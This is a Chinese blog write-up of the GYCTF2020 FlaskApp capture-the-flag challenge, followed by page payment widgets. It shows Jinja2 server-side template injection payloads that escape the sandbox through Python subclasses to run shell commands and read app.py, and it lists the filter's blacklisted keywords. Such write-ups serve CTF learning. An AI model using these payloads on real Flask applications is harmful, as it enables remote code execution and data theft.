[GYCTF2020]FlaskApp 1(SSTI,PIN)

博客讲述了在GYCTF2020的FlaskApp挑战中,如何利用SSTI(模板注入)攻击进行Python沙盒逃逸。通过分析过滤关键字,构造payload绕过WAF,读取源码找到flag。同时,介绍了PIN码的生成机制,包括获取flask用户名、app.py路径和MAC地址的十进制数。最终,利用PIN码实现远程代码执行并获得flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

f12发现了提示,但是我对PIN没有了解所以没反应过来
在这里插入图片描述
扫了一下网站,发现了一个网站打开
请添加图片描述
在这里插入图片描述
非预期解:
本题存在SSTI注入

加密 {
   {
   7+7}}
 e3s3Kzd9fQ== 
 解密
 回显14  说明是SSTI

python-Flask模版注入攻击SSTI(python沙盒逃逸)

查看根目录:

 {
   % for c in [].__class__.__base__.__subclasses__() %}{
   % if c.__name__=='catch_warnings' %}{
   {
    c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{
   % endif %}{
   % endfor %}

解密结果产生no,说明存在waf
在这里插入图片描述
可能被过滤了关键字符,但是我们不知道关键字符,所以要读取一下源码app.py(直接用open)

 {
   % for c in [].__class__.__base__.__subclasses__() %}{
   % if c.__name__=='catch_warnings' %}{
   {
    c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{
   % endif %}{
   % endfor %}

测试,返回waf,能看到黑名单black_list在这里插入图片描述
整理:看到flag,os,system,popen,import,eval,chr,request,
subprocess,commands,socket

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值